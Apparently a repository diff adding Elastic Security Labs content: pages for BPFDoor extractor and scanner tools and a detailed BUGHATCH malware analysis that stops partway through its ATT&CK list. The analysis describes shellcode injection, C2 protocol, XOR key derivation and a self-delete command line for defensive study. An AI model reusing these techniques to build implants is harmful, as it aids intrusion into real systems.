[BPFDoor analysis](https://bookish-bassoon-c37be003.pages.github.io/intelligence/2022/05/04.bpfdoor/article/)\n> - [BPFDoor scanner](https://www.elastic.co/security-labs/bpfdoor-scanner)\n\n## Getting Started\n\n### Docker\n\nWe can easily run the extractor with Docker, first we need to build the image.\n\n```\nBuilding the BPFDoor Docker image\n\ndocker build . -t bpfdoor-extractor\n```\n\nThen we run the container with the **-v** flag to map a host directory to the Docker container directory that contains the BPFDoor samples.\n\n```\nRunning the BPFDoor Docker container\n\ndocker run -ti --rm -v $(pwd)/binaries:/binaries \\\n bpfdoor-extractor:latest -d /binaries/\n```\n\nWe can either specify a single sample with **-f** option or a directory of samples with **-d**\n\n```\nBPFDoor Configuration Extractor help output\n\ndocker run -ti --rm bpfdoor-extractor:latest -h\n\nAuthor: Elastic Security (MARE)\n\n______ ______ ______ ______\n| ___ \\| ___ \\| ___|| _ \\\n| |_/ /| |_/ /| |_ | | | | ___ ___ _ __\n| ___ \\| __/ | _| | | | |/ _ \\ / _ \\ | '__|\n| |_/ /| | | | | |/ /| (_) || (_) || |\n\\____/ \\_| \\_| |___/ \\___/ \\___/ |_|\n _____ __ _ _____ _ _\n/ __ \\ / _|(_) | ___| | | | |\n| / \\/ ___ _ __ | |_ _ __ _ | |__ __ __| |_ _ __ __ _ ___ | |_ ___ _ __\n| | / _ \\ | '_ \\ | _|| | / _` | | __|\\ \\/ /| __|| '__|/ _` | / __|| __|/ _ \\ | '__|\n| \\__/\\| (_) || | | || | | || (_| | | |___ > < | |_ | | | (_| || (__ | |_| (_) || |\n \\____/ \\___/ |_| |_||_| |_| \\__, | \\____//_/\\_\\ \\__||_| \\__,_| \\___| \\__|\\___/ |_|\n __/ |\n |___/\n\n\nusage: bpfdoor-extractor [-h] (-f FILENAME | -d DIRNAME)\n\noptions:\n -h, --help show this help message and exit\n -f FILENAME, --file FILENAME\n File\n -d DIRNAME, --dir DIRNAME\n Directory\n\n```\n\n### Running it Locally\n\nAs mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses [Poetry](https://python-poetry.org/) to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.\n\n```\npoetry lock\npoetry install\npoetry shell\nbpfdoor-extractor --help\n```\n\nOnce that works, you can do the same sort of things as mentioned in the Docker instructions above.\n" + }, + "title": "BPFDoor Configuration Extractor", + "slug": "bpfdoor-configuration-extractor", + "date": "2022-12-06", + "description": "Configuration extractor to dump out hardcoded passwords with BPFDoor.", + "author": [ + { + "slug": "elastic-security-labs" + } + ], + "image": "tools-image.jpg", + "category": [ + { + "slug": "tools" + } + ], + "tags": [ + "bpfdoor" + ] + }, + "id": "security_labs_content-bpfdoor_configuration_extractor-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bpfdoor_scanner-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bpfdoor_scanner-md.json new file mode 100644 index 00000000000..28fe37c80b1 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bpfdoor_scanner-md.json @@ -0,0 +1,27 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"BPFDoor Scanner\"\nslug: \"bpfdoor-scanner\"\ndate: \"2022-12-06\"\ndescription: \"Python script to identify hosts infected with the BPFDoor malware.\"\nauthor:\n - slug: elastic-security-labs\nimage: \"tools-image.jpg\"\ncategory:\n - slug: tools\ntags:\n - bpfdoor\n---\n\nPython script to identify hosts infected with the BPFDoor malware.\n\n[Download bpfdoor-scanner.tar.gz](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltae9bafece9048014/62882b50dcc93261eccb04e2/bpfdoor-scanner.tar.gz)\n\n## Getting Started\n\nThis tool provides a Python script to identify hosts that are infected with the BPFDoor malware.\n\n> The Elastic Security Team has released an indepth analysis of the BPFDoor malware and created an additional tool that will extract configurations from BPFDoor malware samples.\n>\n> - [BPFDoor analysis](https://bookish-bassoon-c37be003.pages.github.io/intelligence/2022/05/04.bpfdoor/article/)\n> - [BPFDoor configuration extractor](https://www.elastic.co/security-labs/bpfdoor-configuration-extractor)\n\n### Permissions\n\nOn Linux (and thus in a container), the tool requires the following permissions:\n\n- CAP_NET_BIND_SERVICE\n- CAP_NET_RAW\n\nOn any \\*NIX host, running the script with sudo will get you what you need. As long as you don’t strip the privileges listed for your container and you publish the UDP port you intend to receive on, you should be set.\n\n### Docker\n\nWe can easily run the scanner with Docker, first we need to build the image:\n\n```\nBuilding the BPFDoor scanner Docker image\n\ndocker build . -t bpfdoor-scanner\n```\n\n## Usage\n\nOnce you’be built the Docker iamge, we can run the container to get a list of the options.\n\n```\nRuning the BPFDoor container\n\ndocker run -ti --rm bpfdoor-scanner:latest --help\n\nUsage: bpfdoor-scanner [OPTIONS]\n\n Sends a discovery packet to suspected BPFDoor endpoints.\n\n Example usage:\n\n sudo ./bpfdoor-scanner --target-ip 1.2.3.4\n\n Sends a packet to IP 1.2.3.4 using the default target port 68/UDP (tool\n listens on all ports) using the default interface on this host and listens\n on port 53/UDP to masquerade as traffic.\n\n NOTE: Elevated privileges are required for source ports < 1024.\n\nOptions:\n --target-ip TEXT [required]\n --target-port INTEGER [default: 68]\n --source-ip TEXT IP for target to respond to and attempt to bind\n locally [default: 172.17.0.3]\n --source-port INTEGER Local port to listen on for response [default: 53]\n --timeout INTEGER Number of seconds to wait for response [default: 5]\n -v, --verbose Show verbose output\n -d, --debug Show debug output\n --version\n --help Show this message and exit.\n```\n\nThe minimum required option is just --target-ip. The rest have defaults. For running in a container, you’ll want to publish the return port (defaults to 53) and specify --source-ip of the host interface you wish to use. In the following example, the IP 192.168.100.10 is the interface on my host that will receive the packet.\n\n```\nExample running the BPFDoor scanner\n\ndocker run -ti --publish 53:53/udp --rm bpfdoor-scanner:latest \\\n --target-ip 192.168.32.18 --source-ip 192.168.100.10\n```\n\n## Running Locally\n\nAs mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses [Poetry](https://python-poetry.org/) to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.\n\n```\nRunning BPFDoor scanner locally\n\npoetry lock\npoetry install\npoetry shell\nsudo bpfdoor-scanner --help\n```\n\nOnce that works, you can do the same sort of things as mentioned in the Docker instructions above.\n" + }, + "title": "BPFDoor Scanner", + "slug": "bpfdoor-scanner", + "date": "2022-12-06", + "description": "Python script to identify hosts infected with the BPFDoor malware.", + "author": [ + { + "slug": "elastic-security-labs" + } + ], + "image": "tools-image.jpg", + "category": [ + { + "slug": "tools" + } + ], + "tags": [ + "bpfdoor" + ] + }, + "id": "security_labs_content-bpfdoor_scanner-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bughatch_malware_analysis-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bughatch_malware_analysis-md.json new file mode 100644 index 00000000000..1ee381d5ff4 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bughatch_malware_analysis-md.json @@ -0,0 +1,30 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"BUGHATCH Malware Analysis\"\nslug: \"bughatch-malware-analysis\"\ndate: \"2022-09-09\"\nsubtitle: \"Malware analysis of the BUGHATCH downloader.\"\ndescription: \"Elastic Security has performed a deep technical analysis of the BUGHATCH malware. This includes capabilities as well as defensive countermeasures.\"\nauthor:\n - slug: salim-bitam\nimage: \"libraries-edev-ops-1680x980.jpg\"\ncategory:\n - slug: malware-analysis\ntags:\n - bughatch\n - cuba\n - ref9019\n---\n\n## Key takeaways\n\n- Elastic Security Labs is releasing a BUGHATCH malware analysis report from a recent [campaign](https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis)\n- This report covers detailed code analysis, network communication protocols, command handling, and observed TTPs\n- From this research we produced a [YARA rule](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Bughatch.yar) to detect the BUGHATCH downloader\n\n## Preamble\n\nBUGHATCH is an implant of a custom C2 deployed during the CUBA ransomware campaigns we observed in February of 2022, this tool was most likely built by the threat actor themselves as it was not used previously.\n\nBUGHATCH is capable of downloading and executing commands and arbitrary code, it gives the operator the freedom to execute payloads with different techniques like reflection, shellcode execution, system command execution, and so on. The samples we have seen were not obfuscated and were deployed using a custom obfuscated in-memory dropper written in PowerShell and referred to as [TERMITE by Mandiant](https://www.mandiant.com/resources/unc2596-cuba-ransomware).\n\nIn this document, we will go through the execution flow of BUGHATCH highlighting its functionalities and code execution techniques, a YARA rule and the MITRE ATT&CK mapping can be found in the appendix.\n\nIn this analysis we will describe the following:\n\n- Token adjustment\n- Information collection\n- Threading and thread synchronization\n- Network communication protocol\n- Command handling\n\n> For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:\n>\n> - [CUBA Ransomware Campaign](https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis)\n> - [CUBA Malware Analysis](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis)\n\n## Static analysis\n\n| | |\n| ------------ | ---------------------------------------------------------------- | --- |\n| SHA256 | F1325F8A55164E904A4B183186F44F815693A008A9445D2606215A232658C3CF |\n| File Size | 35840 bytes |\n| File Type: | Win32 executable |\n| Signed? | No |\n| Packer? | No |\n| Compiler | Visual Studio 2017 - 15.5.0 preview 2 |\n| Compile Time | Sun Feb 06 21:05:18 2022 | UTC |\n| Entropy | 6.109 |\n\n### Sections\n\n| | | | | | |\n| ------ | -------------- | ------------ | -------- | ------- | -------------------------------- |\n| Name | VirtualAddress | Virtual Size | Raw Size | Entropy | MD5 |\n| .text | 0x1000 | 0x6000 | 0x5400 | 5.933 | A6E30CCF838569781703C943F18DC3F5 |\n| .rdata | 0x7000 | 0x3000 | 0x2A00 | 6.217 | 9D9AD1251943ECACE81644A7AC320B3C |\n| .data | 0xA000 | 0x1000 | 0x400 | 1.163 | B983B8EB258220628BE2A88CA44286B4 |\n| .reloc | 0xB000 | 0x424 | 0x600 | 5.235 | 39324A58D79FC5B8910CBD9AFBF1A6CB |\n\n## Code analysis\n\nBUGHATCH is an in-memory implant loaded by an obfuscated PowerShell script that decodes and executes an embedded shellcode blob in its allocated memory space using common Windows APIs ( **VirtualAlloc** , **CreateThread, WaitForSingleObject** ).\n\nThe PowerShell loader uses inline C# to load APIs needed for shellcode injection as seen in the following pseudocode.\n\n![Pseudocode PowerShell inline C#](/assets/images/bughatch-malware-analysis/image12.jpg)\n\nThe PowerShell script is obfuscated with random functions and variable names and contains the shellcode in a reverse-Base64 format.\n\n![Pseudocode embedded shellcode in Base64 format](/assets/images/bughatch-malware-analysis/image10.png)\n\nThe script first decodes the reverse-Base64 encoded data, then allocates a memory region with **VirtualAlloc** before copying the shellcode into it. Finally, the script executes the shellcode by creating a new thread with the **CreateThread** API.\n\n![Pseudocode PowerShell creates a new thread to execute the shellcode](/assets/images/bughatch-malware-analysis/image38.jpg)\n\nThe shellcode downloads another shellcode blob and the encrypted PE implant from the C2 server, this second shellcode decrypts and reflectively loads the PE malware.\n\nThis section dives deeper into the BUGHATCH execution flow, threading and encryption implementation, communication protocol with C2, and finally supported commands and payload execution techniques implemented.\n\nThe following is a diagram summarizing the execution flow of the implant:\n\n![Execution flow diagram of BUGHATCH](/assets/images/bughatch-malware-analysis/image16.png)\n\n![Pseudocode of the main function](/assets/images/bughatch-malware-analysis/image15.jpg)\n\n### Token adjustment\n\nThe implant starts by elevating permissions using the **SeDebugPrivilege** method, enabling the malware to access and read the memory of other processes. It leverages common Windows APIs to achieve this as shown in the pseudocode below:\n\n![](/assets/images/bughatch-malware-analysis/image20.jpg)\n\n### Information collection\n\nThe malware collects host-based information used to fingerprint the infected system, this information will be stored in a custom structure that will be 2-byte XOR encrypted and sent to the C2 server in an HTTP POST request.\n\nThe following lists the collected information:\n\n- Current value of the performance counter\n- Network information\n- System information\n- Token information\n- Domain and Username of the current process\n- Current process path\n\n#### Current value of the performance counter\n\nUsing the **QueryPerformanceCounter** API, it collects the amount of time since the system was last booted. This value will be used to compute the 2-byte XOR encryption key to encrypt communications between the implant and the C2 server, a detailed analysis of the encryption implementation will follow.\n\n![Pseudocode QueryPerformanceCounter function](/assets/images/bughatch-malware-analysis/image42.jpg)\n\n#### Network information\n\nIt collects the addresses of network interfaces connected to the infected machine by using the **GetIpAddrTable** Windows API.\n\n![Pseudocode collecting interface addresses](/assets/images/bughatch-malware-analysis/image22.jpg)\n\n#### System information\n\nBUGHATCH collects key system information which includes:\n\n- Windows major release, minor release, and build number\n- Processor architecture (either 32-bit or 64-bit)\n- Computer name\n\n![Pseudocode collecting system information](/assets/images/bughatch-malware-analysis/image18.jpg)\n\n#### Token information\n\nThe agent proceeds to collect the current process token group membership, it invokes the **AllocateAndInitializeSid** API followed by the **CheckTokenMembership** API, concatenating the [SDDL SID strings](https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings) for every group the process token is part of. While not unique to BUGHATCH, this is detected by Elastic's [Enumeration of Privileged Local Groups Membership](https://www.elastic.co/guide/en/security/current/enumeration-of-privileged-local-groups-membership.html) detection rule.\n\n![Pseudocode collecting token group membership information](/assets/images/bughatch-malware-analysis/image29.jpg)\n\n#### Domain and username of the current process\n\nThe malware opens a handle to the current process with **OpenProcessToken** and gets the structure that contains the user account of the token with **GetTokenInformation**. It then retrieves the username and domain of the user account with the **LookupAccountSidW** API and concatenates the 2 strings in the following format: **DOMAIN\\USERNAME**.\n\n![](/assets/images/bughatch-malware-analysis/image14.jpg)\n\n#### Current process path\n\nFinally, it collects the current process path with **GetModuleFileNameW**. The malware then encrypts the entire populated structure with a simple 2-byte XOR algorithm, this encryption implementation is detailed later in the report.\n\n## Threading and thread synchronization\n\nThe implant is multithreaded; it uses two different linked lists, one is filled with the commands received from the C2 server and the other is filled with the output of the commands executed.\n\nIt spawns 5 worker threads, each handling a command received from the C2 server by accessing the appropriate linked list using the **CriticalSection** object. The main process’ thread also retrieves the command's output from the second linked list using the **CriticalSection** object for synchronization purposes, to avoid any race conditions.\n\n![Pseudocode of the thread creation function](/assets/images/bughatch-malware-analysis/image45.jpg)\n\n## Network communication protocol\n\nIn this section we will detail:\n\n- Base communication protocol\n- Encryption implementation\n\nThe implant we analyzed uses HTTP(S) for communications. On top of the SSL encryption of the protocol, the malware and C2 encrypt the data with a 2-byte XOR key computed by the malware for each new session. The values to compute the 2-byte XOR key are prepended at the beginning of the base protocol packet which the server extracts to decrypt/encrypt commands.\n\nWhen launched, the malware will first send an HTTP POST request to the C2 server containing all the collected information extracted from the victim’s machine, the C2 then responds with the operator’s command if available, or else the agent sleeps for 60 seconds. After executing the command and only if the output of the executed command is available, the malware will send a POST request containing both the collected information and the command’s output, otherwise, it sends the collected information and waits for new commands.\n\n![Example of an implant HTTP POST request to an emulated C2 server](/assets/images/bughatch-malware-analysis/image32.png)\n\n### Base communication protocol\n\nThe author(s) of BUGHATCH implemented a custom network protocol, the following is the syntax that the agent and server use for their communication:\n\n![BUGHATCH agent and server communications](/assets/images/bughatch-malware-analysis/BugHatchanalysisreport_html.jpg)\n\n- **XOR key values:** The values to compute the 2-byte XOR encryption key used to encrypt the rest of the data\n- **Separator:** A static value ( **0x389D3AB7** ) that separates **Msg** chunks, example: the server can send different instructions in the same HTTP request separated by the **Separator**\n- **Chunk length:** Is the length of the **Msg** , **Separator** and **Chunk length**\n- **Msg:** Is the message to be sent, the message differs from the agent to the server.\n\nWe will dive deeper into the encapsulation of the **Msg** for both the agent and the server.\n\n![Pseudocode extracting commands according to the separator value](/assets/images/bughatch-malware-analysis/image40.jpg)\n\n### Encryption implementation\n\nThe malware uses 2-byte XOR encryption when communicating with the C&C server; a 2-byte XOR key is generated and computed by the implant for every session with the C2 server.\n\nThe agent uses two DWORD values returned by **QueryPerformanceCounter** API as stated earlier, it then computes a 2-byte XOR key by XOR-encoding the DWORD values and then multiplying and adding hardcoded values. The following is a Python pseudocode of how the KEY is computed:\n\n```\ntmp = (PerformanceCount[0] ^ PerformanceCount[1]) & 0xFFFFFFFF\nXorKey = (0x343FD * tmp + 0x269EC3)& 0xFFFFFFFF\nXorKey = p16(XorKey >> 16).ljust(2, b'\\x00')\n```\n\n![Pseudocode of the encryption implementation](/assets/images/bughatch-malware-analysis/image9.jpg)\n\n## Command handling\n\nIn this section, we will dive deeper into the functionalities implemented in the agent and their respective **Msg** structure that will be encapsulated in the base communication protocol structure as mentioned previously.\n\nOnce the working threads are started, the main thread will continue beaconing to the C2 server to retrieve commands. The main loop is made up of the following:\n\n- Send POST request\n- Decrypt the received command and add it to the linked list\n- Sleep for 60 seconds\n\nA working thread will first execute the **RemoveEntryRecvLinkedList** function that accesses and retrieves the data sent by the C2 server from the linked list.\n\n![Pseudocode retrieves data sent by the C2](/assets/images/bughatch-malware-analysis/image43.jpg)\n\nThe thread will then de-encapsulate the data received from the C2 and extract the **Msg(Command)**. The malware implements different functionalities according to a command flag, the table below illustrates the functionalities of each command:\n\n| | |\n| ------------ | --------------------------------------------------------------------- |\n| Command FLAG | Description |\n| 1 | Group functions related to code and command execution |\n| 2 | Group functions related to utilities like impersonation and migration |\n| 3 | Process injection of a PE file in a suspended child process |\n\n### Command 1\n\nThis command gives access to functionalities related to payload execution, from DLL to PE executable to PowerShell and cmd scripts.\n\nSome of the sub-commands use pipes to redirect the standard input/output of the child process, which enables the attacker to execute payloads and retrieve its output, for example, PowerShell or Mimikatz, etc…\n\nThe following is the list of sub commands:\n\n| | | |\n| ---------------- | --------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |\n| Sub Command Flag | Function Name | Functionality description |\n| 2 | ReflectivelyExecutePERemote | Reflectively loads PE files in a child process and redirects its standard input output, the output will be sent to the operator C2 server |\n| 3 | DropPEDiskExecute | Drops a PE file to disk and executes it, the execution output is then sent to the operator’s C2 server |\n| 4 | SelfShellcodeExecute | Executes a shellcode in the same process |\n| 5 | RemoteShellcodeExecute | Executes a shellcode in a suspended spawned child process |\n| 6 | ExecuteCmd | Executes a CMD script/command |\n| 7 | ExecutePowershell | Executes a Powershell script/command |\n| 9 | ReflectivelyLoadDllRemote | Executes a DLL reflectively in a remote process using CreateRemoteThread API |\n\nThe following is the structure that is used by the above commands:\n\n```\nstruct ExecutePayloadCommandStruct\n{\n DWORD commandFlag;\n DWORD field_0;\n DWORD subCommandFlag_1;\n DWORD readPipeTimeOut_2;\n DWORD payloadSize_3;\n DWORD commandLineArgumentSize_4;\n DWORD STDINDataSize_5;\n CHAR payload_cmdline_stdin[n];\n};\n```\n\n- **commandFlag:** Indicates the command\n- **subCommandFlag:** Indicates the subcommand\n- **readPipeTimeOut:** Indicates the timeout for reading the output of child processes from a pipe\n- **payloadSize:** Indicates the payload size\n- **commandLineArgumentSize:** Indicates length of the command line arguments when executing the payload, example a PE binary\n- **STDINDataSize:** Indicates the length of the standard input data that will be sent to the child process\n- **Payload_cmdline_stdin:** Can contain the payload PE file for example, its command line arguments and the standard input data that will be forwarded to the child process, the malware knows the beginning and end of each of these using their respective length.\n\n#### ReflectivelyExecutePERemote\n\nThe agent reflectively loads PE binaries in the memory space of a created process in a suspended state (either **cmd.exe** or **svchost.exe** ). The agent leverages [anonymous (unnamed) pipes](https://docs.microsoft.com/en-us/windows/win32/ipc/anonymous-pipes) within Windows to redirect the created child process's standard input and output handles. It first creates an anonymous pipe that will be used to retrieve the output of the created process, then the pipe handles are specified in the **STARTUPINFO** structure of the child process.\n\n![Pseudocode for anonymous pipe creation](/assets/images/bughatch-malware-analysis/image41.jpg)\n\nAfter creating the suspended process, the malware allocates a large memory block to write shellcode and a XOR encrypted PE file.\n\nThe shellcode will 2-byte XOR decrypt and load the embedded PE similar to ( **Command 3** ). This command can load 64bit and 32bit binaries, each architecture has its own shellcode PE loader, after injecting the shellcode it will point the instruction pointer of the child process’s thread to the shellcode and resume the thread.\n\n![Pseudocode of Reflective Loading PE into child processes](/assets/images/bughatch-malware-analysis/image2.jpg)\n\nThe following is an example of a packet captured from our custom emulated C2 server, we can see the structure discussed earlier on the left side and the packet bytes on the right side, for each command implemented in the malware, a packet example will be given.\n\n![Example of a ReflectivelyExecutePERemote command received from an emulated C2](/assets/images/bughatch-malware-analysis/image7.png)\n\n#### DropPEDiskExecute\n\nWith this subcommand, the operator can drop a PE file on disk and execute it. The agent has 3 different implementations depending on the PE file type, GUI Application, CUI (Console Application), or a DLL.\n\nFor CUI binaries, the malware first generates a random path in the temporary folder and writes the PE file to it using **CreateFileA** and **WriteFile** API.\n\n![Pseudocode writing payload to disk](/assets/images/bughatch-malware-analysis/image39.jpg)\n\nIt then creates a process of the dropped binary file as a child process by redirecting its standard input and output handles; after execution of the payload the output is sent to the operator’s C2 server.\n\nFor GUI PE binaries, the agent simply writes it to disk and executes it directly with **CreateProcessA** API.\n\nAnd lastly, for DLL PE files, the malware first writes the DLL to a randomly generated path in the temporary folder, then uses **c:\\windows\\system32\\rundll32.exe** or **c:\\windows\\syswow64\\rundll32.exe** (depending on the architecture of the DLL) to run either an exported function specified by the operator or the function **start** if no export functions were specified.\n\n![Pseudocode running the payload dropped by DropPEDiskExecute function](/assets/images/bughatch-malware-analysis/image1.jpg)\n\n![Example of a SelfShellcodeExecute command received from an emulated C2](/assets/images/bughatch-malware-analysis/image34.png)\n\n#### SelfShellcodeExecute\n\nThis subcommand tasks the agent to execute shellcode in its own memory space by allocating a memory region using **VirtualAlloc** API and then copying the shellcode to it, the shellcode is executed by creating a thread using **CreateThread** API.\n\n![Pseudocode of SelfShellcodeExecute command](/assets/images/bughatch-malware-analysis/image37.jpg)\n\n![Example of a SelfShellcodeExecute command received from an emulated C2](/assets/images/bughatch-malware-analysis/image35.jpg)\n\n#### RemoteShellcodeExecute\n\nThis sub-command can be used to execute a 32-bit or a 64-bit position independent shellcode in another process memory space.\n\nSimilarly to the **SpawnAgent** subcommand, the malware creates a suspended **svchost.exe** process with **CreateProcessA** API, allocates a memory region for the shellcode sent by the C2 server with **VirtualAllocEx** , and writes to it with **WriteProcessMemory** , it then sets the suspended thread instruction pointer to point to the injected shellcode with **SetThreadContext** and finally it will resume the thread with **ResumeThread** to execute the payload.\n\n![Pseudocode writes shellcode to remote process](/assets/images/bughatch-malware-analysis/image26.jpg)\n\n![Pseudocode set EIP of child process using SetThreadContext](/assets/images/bughatch-malware-analysis/image13.jpg)\n\n![Example of a RemoteShellcodeExecute command received from an emulated C2](/assets/images/bughatch-malware-analysis/image23.jpg)\n\n#### ExecuteCmd and ExecutePowershell\n\nAn operator can execute PowerShell scripts or CMD scripts in the infected machine, the malware can either write the script to a file in the temporary folder with a randomly generated name as follow: **`TEMP.PS1`** for PowerShell or **`TEMP.CMD`** for a Command shell. The malware then passes parameters to it if specified by the malicious actor and executes it, the malware uses named pipes to retrieve the output of the PowerShell process.\n\n![Pseudocode of ExecuteCmd command](/assets/images/bughatch-malware-analysis/image30.jpg)\n\n![Example of an ExecutePowershell command received from an emulated C2](/assets/images/bughatch-malware-analysis/image8.jpg)\n\n#### ReflectivelyLoadDllRemote\n\nExecute reflectively a 32-bit or 64-bit DLL in a process created in a suspended state, the following summarizes the execution flow:\n\n- Check if the PE file is a 32 or 64-bit DLL\n- Create a suspended **svchost.exe** process\n- Allocate memory for the DLL and the parameter for the DLL if specified by the C2 command with the **VirtualAllocEx** API\n- Write to the remotely allocated memory withthe **WriteProcessMemory** API the DLL and the parameter if specified\n- Create a remote thread to execute the injected DLL with the **CreateRemoteThread** API\n\n![Pseudocode of a ReflectivelyLoadDllRemote command](/assets/images/bughatch-malware-analysis/image19.jpg)\n\n![Example of a ReflectivelyLoadDllRemote command received from an emulated C2](/assets/images/bughatch-malware-analysis/image34.png)\n\n### Command 2\n\nThe command 2 has multiple sub functionalities as shown in the command table above, according to a subCommandFlag the malware can do 6 different operations as follows:\n\n| | | |\n| ---------------- | --------------------- | ---------------------------- |\n| Sub Command Flag | Function Name | Functionality description |\n| 1 | ExitProcess | Exit process |\n| 2 | SelfDeleteExitProcess | Self delete and exit process |\n| 3 | SpawnAgent64 | Spawn 64-bit agent |\n| 4 | SpawnAgent32 | Spawn 32-bit agent |\n| 0x1001 | ImpersonateToken | Impersonate explorer |\n| 0x1002 | MigrateC2 | Change C2 config |\n\nThe following is the structure that is used by the above commands:\n\n```\nstruct ImpersonateReplicateStruct\n{\n int subCommandFlag;\n int impersonateExplorerToken;\n char padding[16];\n __int16 isParameterSet;\n WCHAR w_parameters[n];\n};\n```\n\n#### ExitProcess\n\nCalls the **ExitProcess(0)** API to terminate.\n\n![Example of an ExitProcess command received from an emulated C2](/assets/images/bughatch-malware-analysis/image25.png)\n\n#### SelfDeleteExitProcess\n\nThe agent gets the PATH of the current process with **GetModuleFileNameA** and then executes the following command to self-delete: **cmd.exe /c del FILEPATH \\\\>\\\\> NUL** using **CreateProcessA** then simply exit the process with **ExitProcess(0)**.\n\n![Example of a SelfDeleteExitProcess command received from an emulated C2](/assets/images/bughatch-malware-analysis/image17.png)\n\n#### SpawnAgent64 and SpawnAgent32\n\nWhen subcommands 3 or 4 are specified, the malware will spawn another agent on the same machine depending on the subcommand sent by the C2, as shown in the table above.\n\nThe malware first retrieves the C2 IP address embedded in it, it will then do an HTTP GET request to download a packed agent in shellcode format, in the sample we analyzed **/Agent32.bin** URI is for the 32-bit agent, and **/Agent64.bin** is for 64-bit the agent.\n\n![Pseudocode spawning another agent](/assets/images/bughatch-malware-analysis/image33.jpg)\n\nThe malware then creates a suspended **svchost.exe** process with **CreateProcessA** API, writes the agent shellcode to the process, sets its instruction pointer to point to the injected shellcode with **SetThreadContext** , and finally it will resume the thread with **ResumeThread** to execute the injected payload.\n\n![Example of a SpawnAgent32 command received from an emulated C2](/assets/images/bughatch-malware-analysis/image5.png)\n\n#### ImpersonateToken\n\nThis subcommand is specific to process tokens; an attacker can either impersonate the **explorer.exe** token or create a token from credentials (Domain\\Username, Password) sent by the C2 to spawn another instance of the current process.\n\n![Pseudocode ImpersonateToken command](/assets/images/bughatch-malware-analysis/image44.jpg)\n\nIt will first check if the current process is a local system account or local service account or network service account by testing whether the given process token is a member of the group with the specified RID ( **SECURITY_LOCAL_SYSTEM_RID** , **SECURITY_LOCAL_SERVICE_RID** , **SECURITY_NETWORK_SERVICE_RID** ) respectively.\n\n![Pseudocode check token group membership](/assets/images/bughatch-malware-analysis/image36.jpg)\n\nThen depending if the operator specified credentials or not, the malware will first call **LogonUserW** with the Domain\\User and password to create a token then it will spawn another instance of the current process with this token.\n\n![Pseudocode LogonUserW to create a token](/assets/images/bughatch-malware-analysis/image24.jpg)\n\nIf not, the implant will impersonate the **explore.exe** process by duplicating its token with **DuplicateTokenEx** and then spawn the current process with the duplicated token if no credentials are specified.\n\n![Example of an ImpersonateToken command received from an emulated C2](/assets/images/bughatch-malware-analysis/image21.png)\n\n#### MigrateC2\n\nThe operator can migrate the implant to another C2 server by specifying the subcommand **0x1001** with the IP address of the new C2.\n\n![Pseudocode migrating the implant](/assets/images/bughatch-malware-analysis/image4.jpg)\n\n![Example of a MigrateC2 command received from an emulated C2](/assets/images/bughatch-malware-analysis/image31.png)\n\n### Command 3\n\nWhen command 3 is received the malware will reflectively load a PE file embedded as payload in the C&C request in another process's memory space, the following is an overview of the execution:\n\n- Determine the type and architecture of the PE file\n- Create a suspended process\n- Allocate a large memory in the suspended process\n- Write a shellcode in the allocated memory that will locate, decrypt and reflectively load the PE file\n- 2-byte XOR encrypt the PE file and append it after the shellcode\n- Set the EIP context of the suspended process to execute the shellcode\n\nThe shellcode will then reflectively load the PE file\n\n![Pseudocode for Command 3's main logic](/assets/images/bughatch-malware-analysis/image6.jpg)\n\nThe agent first parses the PE file received from the C2 server to determine the type and architecture of the PE file.\n\n![Pseudocode determines the PE file architecture](/assets/images/bughatch-malware-analysis/image28.jpg)\n\nAnd according to this information, a Windows signed executable will be chosen to inject into.\n\nIf the PE file is CUI (Console User Interface), the malware will choose **cmd.exe** , however, if it is GUI (Graphical User Interface) or a DLL PE file it will choose **svchost.exe**.\n\n![Options for malware to inject into](/assets/images/bughatch-malware-analysis/image11.jpg)\n\nThe malware will then create a suspended process with **CreateProcessA** API (either **cmd.exe** or **svchost.exe** ) and allocate a large amount of memory with **VirtualAllocEx** in the created process, it will then copy a position independent shellcode stored in the **.rdata** section to the newly allocated memory that is responsible for locating according to a specific tag the appended PE file, decrypt it and reflectively load it in memory.\n\nThen it appends after the shellcode a 12 bytes structure composed of a tag, the size of the PE file, and a 2-byte XOR key.\n\nIt will then 2-byte XOR encrypt the PE file and append it after the structure, the following is an overview of the written data to the allocated memory:\n\n| | | | | |\n| --------- | --- | ------- | -------------- | ---------------------------- |\n| SHELLCODE | TAG | PE SIZE | 2-byte XOR KEY | 2-byte XOR encrypted PE file |\n\n![Pseudocode write shellcode and PE to child process](/assets/images/bughatch-malware-analysis/image27.jpg)\n\nThe agent will then set the thread context with **SetThreadContext** and point the instruction pointer of the suspended process to the shellcode then it will simply resume the execution with **ResumeThread**.\n\nThe shellcode will first locate the 2-byte XOR encrypted PE file according to the tag value ( **0x80706050** ), it will then 2-byte XOR decrypt it and load it reflectively on the same process memory.\n\n## Observed adversary tactics and techniques\n\nElastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n- [Execution](https://attack.mitre.org/tactics/TA0002)\n- [Collection](https://attack.mitre.org/tactics/TA0009)\n- [Command and 